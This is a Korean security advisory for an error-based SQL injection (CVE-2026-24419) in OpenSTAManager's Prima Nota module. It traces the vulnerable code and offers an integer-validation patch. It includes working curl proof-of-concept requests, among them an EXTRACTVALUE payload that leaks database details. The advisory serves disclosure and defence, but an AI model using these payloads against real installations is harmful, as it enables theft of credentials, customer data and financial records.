
CVE-2026-24419 - OpenSTAManager의 Prima Nota 모듈에 SQL 인젝션 취약점이 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-24419 |
| 심각도 | 높음(HIGH) |
| 보안 권고 | 보안 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager v2.9.8의 Prima Nota(분개장) 모듈에서 발견된 심각한 오류 기반 SQL 인젝션 취약점으로, 인증된 공격자가 URL 파라미터에 악성 SQL을 주입하여 XML 오류 메시지를 통해 사용자 자격 증명, 고객 PII, 재무 기록을 포함한 전체 데이터베이스 내용을 추출할 수 있습니다.
상태: ✅ 실제 인스턴스(v2.9.8)에서 확인 및 테스트 완료
취약한 파라미터: id_documenti (GET 파라미터)
영향을 받는 엔드포인트: /modules/primanota/add.php
공격 유형: 오류 기반 SQL 인젝션(IN 절)
OpenSTAManager v2.9.8에는 Prima Nota(분개장) 모듈의 add.php 파일에 심각한 오류 기반 SQL 인젝션 취약점이 존재합니다. 이 애플리케이션은 GET 파라미터에서 쉼표로 구분된 값들이 SQL IN() 절에 사용되기 전에 정수인지 검증하지 않아, 공격자가 임의의 SQL 명령을 주입하고 XPATH 오류 메시지를 통해 민감한 데이터를 추출할 수 있습니다.
취약점 공격 체인:
진입점: /modules/primanota/add.php (63-67행)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
영향: get() 함수는 사용자가 제어하는 URL 파라미터를 검색하며, explode(',', (string) ...)는 이를 쉼표로 분리하지만 요소가 정수인지 확인하는 검증이 전혀 없습니다.
SQL 인젝션 지점: /modules/primanota/add.php (306행)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
영향: $id_documenti의 배열 요소는 타입 검증이나 prepare() 없이 implode()를 사용해 직접 연결되어 완전한 SQL 인젝션이 가능합니다.
근본 원인 분석:
취약점은 다음 이유로 존재합니다:
get('id_documenti')는 사용자가 제어하는 문자열을 반환합니다.explode(',', (string) $value)는 쉼표로 분리하지만 타입을 검증하지 않습니다.implode(',', $array)는 배열 요소를 SQL에 직접 연결합니다.?id_documenti=1) AND EXTRACTVALUE(...) %23를 제공하여 SQL을 주입할 수 있습니다.영향을 받는 코드 경로:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
1단계: 로그인
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
2단계: 취약점 확인 (오류 기반 SQL 인젝션)
테스트 1: 데이터베이스 사용자 및 버전 추출
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
응답 (공격자에게 노출되는 오류 메시지):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>

Prima Nota(분개장) 모듈에 접근할 수 있는 모든 인증된 사용자.
1차 수정 - 타입 검증:
파일: /modules/primanota/add.php
수정 전 (취약한 코드 - 63-67행):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
수정 후 (패치됨):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
발견자: Łukasz Rybak
이 CVE는 조정된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.